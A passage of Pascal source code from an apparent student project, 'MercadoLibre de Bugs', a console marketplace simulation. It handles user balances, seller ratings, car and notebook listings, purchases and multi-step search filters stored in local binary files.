CantPlata; Saldo.Movimientos[MaxVMovimientosSaldos].plata := CantPlata * -1; End; Saldo.Movimientos[MaxVMovimientosSaldos].fecha := FechaSistema; Seek(ArchSaldos,Pos); //Vuelvo a la pos que lei para reescribir Write(ArchSaldos,Saldo); write('Su saldo actual es de : '); TextColor(Verde); write(Saldo.Saldo:2:2); TextColor(Blanco); write(' (ENTER PARA CONTINUAR)'); readln(); Close(ArchSaldos); END; {Procedimiento MercadoLibre de Bugs | CALIFICAR USUARIO} PROCEDURE CalificarUsuario(NomUsu : string;Pos : longint;VAR Calif : byte); VAR ArchUsu : tArcUsu; auxUsu : tUsuario; BEGIN writeln(''); Assign(ArchUsu,DataFolder + 'ArchUsuarios.dat'); Reset(ArchUsu); Seek(ArchUsu,Pos); Read(ArchUsu,auxUsu); write('Inserte un valor (del 1 al 5) con el cual desea calificar al usuario "',NomUsu,'" : '); readln(Calif); If (auxUsu.Calificacion = 0) Then //Si es 0, nunca fue calificado antes, entonces no divide auxUsu.Calificacion := Calif Else auxUsu.Calificacion := ((auxUsu.Calificacion + Calif) div 2); //Si es dif de 0, divide por 2 para hacer el promedio writeln(auxUsu.Calificacion); Calif := auxUsu.Calificacion; readln(Calif); Seek(ArchUsu,Pos); Write(ArchUsu,auxUsu); Close(ArchUsu); END; {Procedimiento MercadoLibre de Bugs | VERIFICO SI EL USU TIENE CALIFICACIONES PENDIENTES} PROCEDURE VerificoCalificaciones(EligioUsuario : boolean;Usuario : tUsuario;TotalUsu:longint;var Indice:tIndiceUsu); VAR Ventas : tVentas; ArchVentas : tArcVentas; Pos : longint; Calif : byte; Califica : boolean; Califico : boolean; BEGIN Califico := false; Assign(ArchVentas,DataFolder + 'ArchVentas.dat'); Reset(ArchVentas); While not EOF(ArchVentas) Do BEGIN Read(ArchVentas,Ventas); Califica := false; If (Ventas.UsuarioComprador = Usuario.Usuario) Then //Es comprador x ende califica a vendedor BEGIN If (EligioUsuario) Then BEGIN If (Ventas.CalifVendedor = 0) Then //Como era comprador comparo contra vendedor Califica := true; END ELSE BEGIN If (DiferenciaFechas(FechaSistema,Ventas.FechaVenta) >= 3) AND (Ventas.CalifVendedor = 0) Then //Como era comprador comparo contra vendedor Califica := true; END; If (Califica) Then BEGIN Pos := Indice[PosicionUsuarioIndice(Ventas.UsuarioVendedor,TotalUsu,Indice)].pos; CalificarUsuario(Ventas.UsuarioVendedor,Pos,Calif); Ventas.CalifVendedor := Calif; //Como era comprador califica a vendedor Seek(ArchVentas,filepos(ArchVentas) - 1); Write(ArchVentas,Ventas); //Escribo en el archivo de ventas la calificacion de la venta Califico := true; END; END; END; //FALTA AGREGAR QUE VERIFIQUE QUE VENDEDOR CALIFIQUE A COMPRADOR (AL REVES DE ARRIBAX) If (Not Califico) AND (EligioUsuario) Then BEGIN MsjError('No tiene pendiente ninguna calificacion (ENTER PARA CONTINUAR)'); readln(); END; Close(ArchVentas); END; {Procedimiento MercadoLibre de Bugs | Cambiar disponibilidad} Procedure PublicacionNoDisponible(var Publicacion : tPublic); //acordarse ;););) Var auto:t_Autos; notebook:t_Notebook; aAutos:t_ArchAutos; aNotebook:t_ArchNote; BEGIN case Publicacion.Producto Of 'auto': Begin Assign(aAutos,DataFolder + 'ArchAuto.dat'); Reset(aAutos); Seek(aAutos,(publicacion.id - 1)); Read(aAutos,auto); Auto.estaDisponible := False; Seek(aAutos,(publicacion.id - 1)); Write(aAutos,auto); Close(aAutos); End; 'notebook': Begin Assign(aNotebook,DataFolder + 'ArchNote.dat'); Reset(aNotebook); seek(aNotebook,(publicacion.id - 1)); read(aNotebook,notebook); notebook.estaDisponible := False; seek(aNotebook,(publicacion.id - 1)); write(aNotebook,notebook); Close(aNotebook); End; end; END; {Procedimiento MercadoLibre de Bugs | Enviar mails} procedure EnviarMails(var vendedor:tUsuario; var comprador:tUsuario; var publicacion:tPublic); var mail1:Text; mail2:Text; BEGIN Assign(mail1,DataFolder + 'MailComprador.txt'); Rewrite(mail1); Writeln(mail1,'De: ',vendedor.Mail); Writeln(mail1,'A: ',comprador.Mail); Writeln(mail1,'Asunto: ',publicacion.producto,' ',publicacion.id); Writeln(mail1,'Felicitaciones, has comprado mi ',publicacion.producto,' Marca ',publicacion.marca,' por un costo de ',publicacion.precio:2:2,'.'); Writeln(mail1,'Contactate para coordinar la entrega.'); Writeln(mail1,vendedor.NomYApe,vendedor.Telefono); Close(mail1); Assign(mail2,DataFolder + 'MailVendedor.txt'); Rewrite(mail2); Writeln(mail2,'De: ',comprador.Mail); Writeln(mail2,'A: ',vendedor.Mail); Writeln(mail2,'Asunto: ',publicacion.producto,' ',publicacion.id); Writeln(mail2,'Hola, compre tu ',publicacion.producto,' marca ',publicacion.marca,' por un costo de ',publicacion.precio,'.'); Writeln(mail2,'Contactate para coordinar la entrega.'); Writeln(mail2,comprador.NomYApe,comprador.Telefono); Close(mail2); END; {Procedimiento MercadoLibre de Bugs | Coordinar pago con vendedor} Procedure CoordinarConVendedor(var comprador:tUsuario; var vendedor:tUsuario; var publicacion:tPublic; var compraRealizada:boolean); Begin PublicacionNoDisponible(Publicacion); EnviarMails(Vendedor,Comprador,Publicacion); CompraRealizada := True; End; {Procedimiento MercadoLibre de Bugs | Comprar publicacion} Procedure ComprarDesdeCuenta(Comprador : tUsuario;PosComprador : longint;PosVendedor : longint; var publicacion:tPublic; var compraRealizada:boolean; var UsuarioVendedor : tUsuario); Var Saldo : real; op : byte; BEGIN Saldo := SaldoUsuario(Comprador,PosComprador); If (Saldo <= Publicacion.Precio) then Begin MsjTitulo('Desea: '); writeln('1.Coordinar compra con vendedor'); writeln('2.Volver al menu'); write('Ingrese la opcion deseada : '); validarByteIngresado(op,1,2); if (Op=1) then CoordinarConVendedor(Comprador,UsuarioVendedor,Publicacion,compraRealizada); End Else Begin ModSaldo(false,Publicacion.Precio,PosComprador); //Debito comprador ModSaldo(true,Publicacion.Precio,PosVendedor); //Acredito vendedor PublicacionNoDisponible(Publicacion); EnviarMails(UsuarioVendedor,Comprador,Publicacion); CompraRealizada := True; End; END; Procedure CargarVenta(var Publicacion:tPublic;var Comprador:tUsuario); VAR Venta : tVentas; aVentas : tArcVentas; BEGIN Assign(aVentas,DataFolder + 'ArchVentas.dat'); {$I-} Reset(aVentas); if IOResult<>0 then rewrite(aVentas); {$I+} Venta.id := Publicacion.id; Venta.producto := Publicacion.producto; //habrìa que agregarlo Venta.UsuarioVendedor := Publicacion.usuario; Venta.UsuarioComprador := Comprador.usuario; Venta.FechaVenta := FechaSistema; Venta.CalifVendedor := 10; //para poner algo "inválido", después se sobreescribe Venta.CalifComprador := 10; Seek(aVentas,Filesize(aVentas)); Write(aVentas,Venta); Close(aVentas); END; {Procedimiento MercadoLibre de Bugs | Comprar publicacion} Procedure ComprarPublic(var Indice : tIndiceUsu;var Publicacion : tPublic;var Comprador : tUsuario;TotalUsu : longint); VAR Op : byte; CompraRealizada : boolean; PosVendedor : longint; PosComprador : longint; ArchUsu : tArcUsu; UsuarioVendedor : tUsuario; Begin clrscr(); MensajePrincipal(FechaSistema,Comprador.Usuario); PosVendedor := Indice[PosicionUsuarioIndice(Publicacion.Usuario,TotalUsu,Indice)].pos; PosComprador := Indice[PosicionUsuarioIndice(Comprador.Usuario,TotalUsu,Indice)].pos; //Proced aparte Assign(ArchUsu,DataFolder + 'ArchUsuarios.dat'); Reset(ArchUsu); Seek(ArchUsu,PosVendedor); Read(ArchUsu,UsuarioVendedor); close(ArchUsu); //Proced aparte CompraRealizada := False; MsjTitulo('Comprar publicacion :'); writeln('Como desea realizar la compra?'); writeln('1.Desde el saldo'); writeln('2.Arreglar con vendedor'); writeln(''); write('Seleccione la opcion deseada : '); validarByteIngresado(op,1,2); case op of 1: ComprarDesdeCuenta(Comprador,PosComprador,PosVendedor,Publicacion,CompraRealizada,UsuarioVendedor); 2: CoordinarConVendedor(Comprador,UsuarioVendedor,Publicacion,compraRealizada); end; If CompraRealizada then CargarVenta(Publicacion,Comprador); End; {Procedimiento MercadoLibre de Bugs | CONFIGURACION CUENTA} PROCEDURE ConfigCta(Usuario : tUsuario;Indice : tIndiceUsu;TotalUsu : longint); VAR auxStr : string; OpcMenu : byte; CantPlata : real; auxSaldoUsu : real; EsValido : boolean; Pos : longint; CONST MaxOpcion = 5; BEGIN Pos := Indice[PosicionUsuarioIndice(Usuario.Usuario,TotalUsu,Indice)].pos; clrscr(); MensajePrincipal(FechaSistema,Usuario.usuario); MsjTitulo('Configuracion de la cuenta'); Writeln(); Writeln('1) Acreditar saldo'); Writeln('2) Retirar saldo'); Writeln('3) Consultar saldo'); Writeln('4) Calificar usuario/s pendientes de compras/ventas'); Writeln('5) Estado de ventas'); Writeln('0) Atras'); Writeln(); SeleccionOpcion(OpcMenu,MaxOpcion); Case OpcMenu of 1: BEGIN CantPlata := 0; While (CantPlata <= 0) DO BEGIN write('Ingrese la cantidad a acreditar : '); {$I-} readln(CantPlata); {$I+} If (IOResult <> 0) Then MsjError('Inserte un numero por favor,'); If (CantPlata <= 0) Then MsjError('Debe ingresar un valor mayor a 0.'); END; ModSaldo(true,CantPlata,Pos); ConfigCta(Usuario,Indice,TotalUsu); END; 2: BEGIN EsValido := false; While not EsValido Do BEGIN CantPlata := 0; auxSaldoUsu := SaldoUsuario(Usuario,Pos); Str(auxSaldoUsu:2:2,auxStr); write('Su saldo actual es de : '); TextColor(Verde); writeln(auxSaldoUsu:2:2); TextColor(Blanco); While (CantPlata <= 0) DO BEGIN write('Ingrese la cantidad a retirar : '); {$I-} readln(CantPlata); {$I+} If (IOResult <> 0) Then MsjError('Inserte un numero por favor,'); If (CantPlata <= 0) Then MsjError('Debe ingresar un valor mayor a 0.'); END; If (auxSaldoUsu >= CantPlata) Then BEGIN ModSaldo(false,CantPlata,Pos); EsValido := true; END Else BEGIN MsjError('La cantidad ingresada es invalida. Por favor ingrese un valor menor a : ' + auxStr); Esvalido := false; END; END; ConfigCta(Usuario,Indice,TotalUsu); END; 3: BEGIN write('Su saldo actual es de : '); TextColor(Verde); write(SaldoUsuario(Usuario,Pos):2:2); TextColor(Blanco); write(' (ENTER PARA CONTINUAR)'); readln(); ConfigCta(Usuario,Indice,TotalUsu); END; 4: BEGIN VerificoCalificaciones(true,Usuario,TotalUsu,Indice); ConfigCta(Usuario,Indice,TotalUsu); END; 5: BEGIN {VerEstad();} END; 0: BEGIN {;} END; END; END; {Procedimiento CargarAuto} procedure cargarAuto(producto:byte; cantSemanas:byte; esDestacada:boolean; var usuario:tUsuario; var archAuto:t_ArchAutos); CONST MaxMarcasAutos = 9;//contando el 'otra' VAR auto:t_Autos; op:byte; auxStr : string; auxReal : real; EsValido : boolean; BEGIN Assign(archAuto,DataFolder + 'ArchAuto.dat'); {$I-} reset(archAuto); {$I+} If (IOResult <> 0) then Rewrite(archAuto); MsjTitulo('Marca :'); writeln('1.Audi'); writeln('2.Citroen'); writeln('3.Fiat'); writeln('4.Ford'); writeln('5.Mercedes Benz'); writeln('6.Peugeot'); writeln('7.Renault'); writeln('8.Volkswagen'); writeln('9.Otra'); write('Inserte la opcion elegida : '); validarByteIngresado(op,1,MaxMarcasAutos); Case op Of 1 : auto.marca := 'Audi'; 2 : auto.marca := 'Citroen'; 3 : auto.marca := 'Fiat'; 4 : auto.marca := 'Ford'; 5 : auto.marca := 'Mercedes Benz'; 6 : auto.marca := 'Peugeot'; 7 : auto.marca := 'Renault'; 8 : auto.marca := 'Volkswagen'; 9 : auto.marca := 'Otra'; End; EsValido := false; While (Not EsValido) Do Begin write('Ingrese el modelo del auto (AAAA) : '); readln(auxStr); If (ValidoLength(auxStr,4)) Then BEGIN auto.AnoFabricacion := auxStr; EsValido := true; END ELSE MsjError('Formato invalido'); End; MsjTitulo('Es nuevo?'); write('1.Si 2.No :'); validarByteIngresado(Op,1,2); if (Op = 1) then auto.esNuevo := True else auto.esNuevo := False; EsValido := false; While (Not EsValido) Do Begin MsjTitulo('Precio? '); {$I-} readln(auxReal); {$I+} If (IOResult = 0) and (auxReal > 0) Then BEGIN EsValido := true; auto.precio := auxReal; END ELSE MsjError('Valor ingresado invalido, por favor reintente'); End; MsjTitulo('Cantidad de puertas?: 3, 4 o 5'); validarByteIngresado(Op,3,5); auto.CantPuertas := op; MsjTitulo('Tipo de combustible?:'); writeln('1.Diesel'); writeln('2.GNC'); writeln('3.Nafta'); validarByteIngresado(Op,1,3); Case op Of 1 : auto.combustible := 'Diesel'; 2 : auto.combustible := 'GNC'; 3 : auto.combustible := 'Nafta'; End; auto.id := filesize(archAuto) + 1; auto.usuario := usuario.usuario; auto.esDestacada := esDestacada; auto.duracionPublic := cantSemanas; auto.antiguedad := FechaSistema; auto.estaDisponible := True; seek(archAuto,filesize(archAuto)); write(archAuto,auto); close(archAuto); END; {Procedimiento CargarNotebook} procedure cargarNotebook(producto:byte; cantSemanas:byte; esDestacada:boolean; var usuario:tUsuario; var archNote:t_ArchNote); var notebook:t_Notebook; op:byte; auxReal : real; EsValido : boolean; BEGIN Assign(archNote,DataFolder + 'ArchNote.dat'); {$I-} reset(archNote); {$I+} If (IOResult <> 0) then Rewrite(archNote); notebook.id:=filesize(archNote)+1; notebook.usuario:=usuario.usuario; notebook.esDestacada:=esDestacada; notebook.duracionPublic:=cantSemanas; notebook.antiguedad:=FechaSistema; notebook.estaDisponible:=True; writeln(''); MsjTitulo('Marca :'); writeln('1.Dell'); writeln('2.HP Compaq'); writeln('3.Lenovo'); writeln('4.Samsung'); writeln('5.Sony Vaio'); writeln('6.Toshiba'); writeln('7.Otra'); write('Inserte la opcion elegida : '); validarByteIngresado(Op,1,7); Case Op Of 1: notebook.marca := 'Dell'; 2: notebook.marca := 'HP Compaq'; 3: notebook.marca := 'Lenovo'; 4: notebook.marca := 'Samsung'; 5: notebook.marca := 'Sony Vaio'; 6: notebook.marca := 'Toshiba'; 7: notebook.marca := 'Otra'; End; Op := 0; MsjTitulo('Es nuevo?'); write('1.Si 2.No'); validarByteIngresado(Op,1,2); if (op=1) then notebook.esNuevo := True else notebook.esNuevo := False; EsValido := false; While (Not EsValido) Do Begin MsjTitulo('Precio?'); {$I-} readln(auxReal); {$I+} If (IOResult = 0) and (auxReal > 0) Then BEGIN EsValido := true; notebook.precio := auxReal; END ELSE MsjError('Valor ingresado invalido, por favor reintente'); End; MsjTitulo('Cantidad de RAM?'); writeln('1.1GB'); writeln('2.2GB'); writeln('3.4GB'); writeln('4.8GB'); writeln('5.Otro'); write('Inserte la opcion elegida : '); validarByteIngresado(Op,1,5); Case Op Of 1: notebook.Ram := '1GB'; 2: notebook.Ram := '2GB'; 3: notebook.Ram := '4GB'; 4: notebook.Ram := '8GB'; 5: notebook.Ram := 'Otro'; End; MsjTitulo('Cantidad de HD?'); writeln('1.120GB'); writeln('2.320GB'); writeln('3.500GB'); writeln('4.1TB'); writeln('5.2TB'); writeln('6.Otra'); write('Inserte la opcion elegida : '); validarByteIngresado(Op,1,6); Case Op Of 1: notebook.HD:='120GB'; 2: notebook.HD:='320GB'; 3: notebook.HD:='500GB'; 4: notebook.HD:='1TB'; 5: notebook.HD:='2TB'; 6: notebook.HD:='Otra'; End; MsjTitulo('Tamano de pantalla?'); writeln('1.13"'); writeln('2.14"'); writeln('3.15"'); writeln('4.16"'); writeln('5.Otro'); write('Inserte la opcion elegida : '); validarByteIngresado(Op,1,5); Case Op Of 1: notebook.Pantalla:= '13"'; 2: notebook.Pantalla:= '14"'; 3: notebook.Pantalla:= '15"'; 4: notebook.Pantalla:= '16"'; 5: notebook.Pantalla:= 'Otro'; End; Seek(archNote,filesize(archNote)); Write(archNote,notebook); Close(archNote); END; {Procedimiento InicioPublicacion} Procedure InicioPublicacion(producto:byte; var costo:real; var cantSemanas:byte; var esDestacada:boolean; var saldo:real); CONST AutoPorSemana = 25; NotePorSemana = 10; MaxCantSemanasPublic = 10; //HASTA 10 SEMANAS, PUEDE SER MÁS Descuento = 0.1; Destacada = 1.2; VAR i:byte; semana:real; BEGIN case producto of 1: Semana := AutoPorSemana; 2: Semana := NotePorSemana; end; Costo := Semana; if (Costo <= Saldo) then begin CantSemanas := 0; Write('Cuantas semanas quiere mantener la publicacion (maximo ',MaxCantSemanasPublic,') ?: ');//AVISAR MAXCANTSEMANAS? ValidarByteIngresado(CantSemanas,1,MaxCantSemanasPublic); if (cantSemanas > 1) then begin for i:=1 to CantSemanas - 1 do begin Semana := Semana * (1 - Descuento); Costo := Costo + Semana; end; end; if (Costo <= Saldo) and (Saldo >= (Costo * Destacada)) then begin i:=0; writeln('Publicacion destacada?'); writeln('1.Si'); writeln('2.No'); write('Inserte la opcion elegida : '); validarByteIngresado(i,1,2); if (i=1) then begin esDestacada:=True; costo:=costo*Destacada; end else esDestacada:=False; end; end else BEGIN MsjError('No dispone del saldo suficiente para realizar la compra (ENTER PARA CONTINUAR)'); readln(); CantSemanas := 0; END; END; {Procedimiento NuevaPublicacion} Procedure NuevaPublic(Usuario : tUsuario;Indice : tIndiceUsu;TotalUsu : longint); CONST MaxOpcion = 2; VAR OpcMenu : byte; CantSemanas : byte; Costo : real; Saldo : real; Pos : longint; EsDestacada : boolean; archAutos : t_ArchAutos; archNote : t_ArchNote; BEGIN clrscr(); MensajePrincipal(FechaSistema,Usuario.Usuario); MsjTitulo('Nueva publicacion'); writeln('Desea publicar: '); writeln(''); writeln('1)Auto'); writeln('2)Notebook'); writeln('0)Atras'); writeln(''); SeleccionOpcion(OpcMenu,MaxOpcion); Pos := Indice[PosicionUsuarioIndice(Usuario.Usuario,TotalUsu,Indice)].pos; Saldo := SaldoUsuario(Usuario,Pos); //Obtengo el saldo disponible del usu a traves de la pos(indice) InicioPublicacion(OpcMenu,Costo,CantSemanas,EsDestacada,Saldo); If (CantSemanas <> 0) Then //Si el usu no tiene saldo suficiente pone a cantsemanas como 0 y de aca lo mando a menuppal Begin If (Costo <= Saldo) Then Begin case OpcMenu of 1: cargarAuto(OpcMenu,cantSemanas,esDestacada,Usuario,archAutos); 2: cargarNotebook(OpcMenu,cantSemanas,esDestacada,Usuario,archNote); end; ModSaldo(false,Costo,Pos); End; End; END; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: mostrar} Procedure Mostrarnotefiltrados(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR j,k : integer; rnote : t_notebook; aux : byte; publicacion : tpublic; rnote2 : t_notebook; Archnote_copia1 : t_archnote; BEGIN aux := 0; assign(Archnote_copia1,DataFolder+'Archnote_copia2.dat'); reset(Archnote_copia1); clrscr; MensajePrincipal(FechaSistema,comprador.usuario); MsjTitulo('Publicaciones filtradas:'); if (filesize(Archnote_copia1)=0) then begin writeln('No hay publicaciones con las caracteristicas pedidas'); readln(); end else begin k:=0; while ((not(eof(archnote_copia1))) and (aux<>1) and (aux<>2) and (aux<>3))do begin seek(Archnote_copia1,k); clrscr; MsjTitulo('Publicaciones filtradas:'); writeln('Presione las teclas 4(anterior) y 5(siguiente) respectivamente para navegar entre las paginas'); writeln('y seleccione la opcion deseada para comprar:'); for j:=1 to 3 do begin if (not(eof(archnote_copia1))) then begin read(archnote_copia1,rnote); writeln('Opcion ',j,' :'); writeln(); writeln('Marca :', rnote.marca); writeln('Descripcion :',rnote.descr); writeln('HD :',rnote.hd); writeln('Precio :',rnote.precio:2:2); writeln('Publicador :',rnote.usuario); writeln('Producto :',rnote.producto); writeln('Ram :',rnote.ram); writeln('Pantalla :',rnote.pantalla); writeln(); end; end; writeln('Ingrese opcion deseada: '); ValidarByteIngresado(aux,1,5); case aux of 4 : begin if k>0 then k:=k-3; end; 5: begin if (not(eof(archnote_copia1))) then k:=k+3; end; end; end; case aux of 1 : begin seek(archnote_copia1,k); read(archnote_copia1,rnote2); publicacion.usuario := rnote2.usuario; publicacion.id := rnote2.id; publicacion.marca := rnote2.marca; publicacion.producto := rnote2.producto; publicacion.precio := rnote2.precio; close(archnote_copia1); ComprarPublic(indice,publicacion,comprador,totalusu); end; 2 : begin seek(archnote_copia1,k+1); read(archnote_copia1,rnote2); publicacion.usuario:=rnote2.usuario; publicacion.id := rnote2.id; publicacion.marca := rnote2.marca; publicacion.producto := rnote2.producto; publicacion.precio := rnote2.precio; close(archnote_copia1); ComprarPublic(indice,publicacion,comprador,totalusu); end; 3 : begin seek(archnote_copia1,k+2); read(archnote_copia1,rnote2); publicacion.usuario:=rnote2.usuario; publicacion.id := rnote2.id; publicacion.marca := rnote2.marca; publicacion.producto := rnote2.producto; publicacion.precio := rnote2.precio; close(archnote_copia1); ComprarPublic(indice,publicacion,comprador,totalusu); end; end; end; close(archnote_copia1); END; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: nuevo} procedure MenuNote_nuevo(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR rnote : t_notebook; aux : byte; archnote_copia1,archnote_copia2:t_archnote; BEGIN aux := 0; assign(Archnote_copia1,DataFolder+'Archnote_copia1.dat'); assign(archnote_copia2,DataFolder+'Archnote_copia2.dat'); reset(ArchNote_copia1); rewrite(ArchNote_copia2); writeln('Busca un producto nuevo o usado?:'); writeln('1) Nuevo'); writeln('2) Usado'); ValidarByteIngresado(aux,1,2); case aux of 1 : begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.esnuevo = true) then write(Archnote_copia2, rnote); end; end; 2 : begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.esnuevo = false) then write(Archnote_copia2, rnote); end; end; end; close(archnote_copia1); close(archnote_copia2); Mostrarnotefiltrados(indice, totalusu, comprador); end; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: Pantalla} Procedure MenuNote_Pantalla(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR rnote : t_notebook; aux : byte; archnote_copia1,archnote_copia2:t_archnote; BEGIN aux := 0; assign(Archnote_copia1,DataFolder+'Archnote_copia1.dat'); assign(archnote_copia2,DataFolder+'Archnote_copia2.dat'); rewrite(ArchNote_copia1); reset(ArchNote_copia2); writeln('Tamanio de pantalla?'); writeln('1.13"'); writeln('2.14"'); writeln('3.15"'); writeln('4.16"'); writeln('5.Otro'); ValidarByteIngresado(aux,1,5); case aux of 1 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.pantalla = '13') then write(Archnote_copia1, rnote); end; end; 2 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.pantalla = '14') then write(Archnote_copia1, rnote); end; end; 3 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.pantalla = '15') then write(Archnote_copia1, rnote); end; end; 4 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.pantalla = '16') then write(Archnote_copia1, rnote); end; end; 5 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.pantalla = 'Otro') then write(Archnote_copia1, rnote); end; end; end; close(archnote_copia1); close(archnote_copia2); Menunote_nuevo(indice, totalusu ,comprador); end; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: HD} Procedure MenuNote_HD(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR archnote_copia1,archnote_copia2:t_archnote; aux : byte; rnote : t_notebook; BEGIN aux := 0; assign(Archnote_copia1,DataFolder+'Archnote_copia1.dat'); assign(archnote_copia2,DataFolder+'archnote_copia2.dat'); reset(ArchNote_copia1); rewrite(ArchNote_copia2); writeln('Tamaño del HD?'); writeln('1)120GB'); writeln('2)320GB'); writeln('3)500GB'); writeln('4)1TB'); writeln('5)2TB'); writeln('6)Otra'); validarByteIngresado(aux,1,6); case aux of 1 : begin while not eof(Archnote_copia1) do begin read(Archnote_copia1, rnote); if (rnote.hd = '120GB') then write(Archnote_copia2, rnote); end; end; 2 : begin while not eof(Archnote_copia1) do begin read(Archnote_copia1, rnote); if (rnote.hd = '320GB') then write(Archnote_copia2, rnote); end; end; 3 : begin while not eof(Archnote_copia1) do begin read(Archnote_copia1, rnote); if (rnote.hd = '500GB') then write(Archnote_copia2, rnote); end; end; 4 : begin while not eof(Archnote_copia1) do begin read(Archnote_copia1, rnote); if (rnote.hd = '1TB') then write(Archnote_copia2, rnote); end; end; 5 : begin while not eof(Archnote_copia1) do begin read(Archnote_copia1, rnote); if (rnote.hd = '2TB') then write(Archnote_copia2, rnote); end; end; 6 : begin while (not(eof(Archnote_copia1)))do begin read(Archnote_copia1,rnote); if (rnote.HD = 'Otra') then write(Archnote_copia2,rnote); end; end; end; close(Archnote_copia1); close(Archnote_copia2); Menunote_Pantalla(indice, totalusu ,comprador); END; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: RAM} Procedure MenuNote_Ram(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR archnote_copia1,archnote_copia2:t_archnote; aux : byte; rnote : t_notebook; BEGIN aux := 0; //ram := 0; gb:='gb'; assign(Archnote_copia1,DataFolder+'Archnote_copia1.dat'); assign(archnote_copia2,DataFolder+'Archnote_copia2.dat'); rewrite(archnote_copia1); reset(archnote_copia2); writeln('Cantidad de RAM?'); writeln('1)1Gb'); writeln('2)2Gb'); writeln('3)4Gb'); writeln('4)8Gb'); writeln('5)Otro'); validarByteIngresado(aux,1,6); case aux of 1 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.ram = '1GB') then write(Archnote_copia1, rnote); end; end; 2 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.ram = '2GB') then write(Archnote_copia1, rnote); end; end; 3 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.ram = '4GB') then write(Archnote_copia1, rnote); end; end; 4 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.ram = '8GB') then write(Archnote_copia1, rnote); end; end; 5 : begin while not eof(Archnote_copia2) do begin read(Archnote_copia2, rnote); if (rnote.ram = 'Otro') then write(Archnote_copia1, rnote); end; end; end; close(archnote_copia1); close(archnote_copia2); MenuNote_HD(indice, totalusu ,comprador); END; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: crear archivo} procedure Crear_archivo_note(); VAR rnote : t_notebook; archnote,archnote_copia1{,archnote_copia2}:t_Archnote; BEGIN assign(Archnote,DataFolder+'ArchNote.dat'); reset(Archnote); assign(Archnote_copia1,DataFolder+'Archnote_copia1.dat'); rewrite(Archnote_copia1); {assign(Archnote_copia2,DataFolder+'Archnote_copia2.dat'); rewrite(archnote_copia2);} while not eof(archnote) do begin read(Archnote, rnote); if (not rnote.estadisponible = false) then write(Archnote_copia1, rnote); end; {reset(Archnote_copia1); while not eof(archnote_copia1) do begin read(archnote_copia1,rnote); write(archnote_copia2,rnote); end;} close(Archnote); close(Archnote_copia1); //close(Archnote_copia2); END; {Procedimiento MercadoLibre de Bugs | FILTRO NOTEBOOK: marcas} Procedure MenuNote_Marca(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR {archnote,}Archnote_copia1,Archnote_copia2 : t_ArchNote; aux : byte; rnote : t_notebook; BEGIN aux := 0; crear_archivo_note; assign(Archnote_copia1,DataFolder+'Archnote_copia1.dat'); assign(archnote_copia2,DataFolder+'Archnote_copia2.dat'); reset(Archnote_copia1); rewrite(Archnote_copia2); writeln('Marca:'); writeln('1.Dell'); writeln('2.HP Compaq'); writeln('3.Lenovo'); writeln('4.Samsung'); writeln('5.Sony Vaio'); writeln('6.Toshiba'); writeln('7.Otra'); validarByteIngresado(aux,1,9); case aux of 1: begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.marca = 'Dell') then write(Archnote_copia2, rnote); end; end; 2: begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.marca = 'HP Compaq') then write(Archnote_copia2, rnote); end; end; 3: begin while (not (eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.marca = 'Lenovo') then write(Archnote_copia2, rnote); end; end; 4: begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.marca = 'Samsung') then write(Archnote_copia2, rnote); end; end; 5:begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.marca = 'Sony Vaio') then write(Archnote_copia2, rnote); end; end; 6: begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1, rnote); if (rnote.marca = 'Toshiba') then write(Archnote_copia2, rnote); end; end; 7 : begin while (not(eof(Archnote_copia1))) do begin read(Archnote_copia1,rnote); write(Archnote_copia2,rnote); end; end; end; close(Archnote_copia1); close(Archnote_copia2); MenuNote_Ram(indice, totalusu ,comprador); END; {Procedimiento MercadoLibre de Bugs | FILTRO AUTOS: mostrar} Procedure MostrarAutosfiltrados(var indice:tindiceusu;var totalusu:longint; var comprador:tusuario); VAR j,k : integer; rauto : t_autos; aux : byte; publicacion : tpublic; rauto2 : t_autos; ArchAuto_copia1 : t_ArchAutos; BEGIN aux := 0; assign(ArchAuto_copia1,DataFolder+'ArchAuto_copia1.dat'); reset(ArchAuto_copia1); clrscr; MensajePrincipal(FechaSistema,comprador.usuario); MsjTitulo('Publicaciones filtradas:'); if (filesize(ArchAuto_copia1)=0) then begin writeln('No hay publicaciones con las caracteristicas pedidas'); readln(); end else begin k := 0; while (not eof(archauto_copia1) and (aux<>1) and (aux<>2) and (aux<>3))do begin seek(ArchAuto_copia1,k); writeln('Presione las teclas 4(anterior) y 5(siguiente) respectivamente para navegar entre las paginas'); writeln('y seleccione la opcion deseada para comprar:'); for j:=1 to 3 do begin if not(eof(archauto_copia1)) then begin read(archauto_copia1,rauto); writeln('Opcion',j,' :'); writeln(); writeln('Marca: ', rauto.marca); 